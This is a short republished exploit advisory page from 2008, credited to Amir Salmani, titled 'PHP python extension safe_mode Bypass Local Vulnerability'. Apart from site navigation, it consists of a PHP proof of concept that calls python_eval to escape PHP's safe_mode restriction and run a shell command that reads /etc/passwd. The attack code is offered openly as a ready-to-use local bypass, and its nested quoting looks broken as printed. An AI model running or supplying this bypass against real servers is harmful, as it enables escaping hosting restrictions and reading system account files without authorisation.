PHP python extension safe_mode Bypass Local Vulnerability
|
来源:amir[at]salmani[dot]ir 作者:Amir 发布时间:2008-12-18
|
|
<?php /* php_python_bypass.php php python extension safe_mode bypass Amir Salmani - amir[at]salmani[dot]ir */
//python ext. installed? if (!extension_loaded('python')) die("python extension is not installed\n");
//eval python code $res = python_eval(' import os pwd = os.getcwd() print pwd os.system('cat /etc/passwd') ');
//show result echo $res; ?>
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|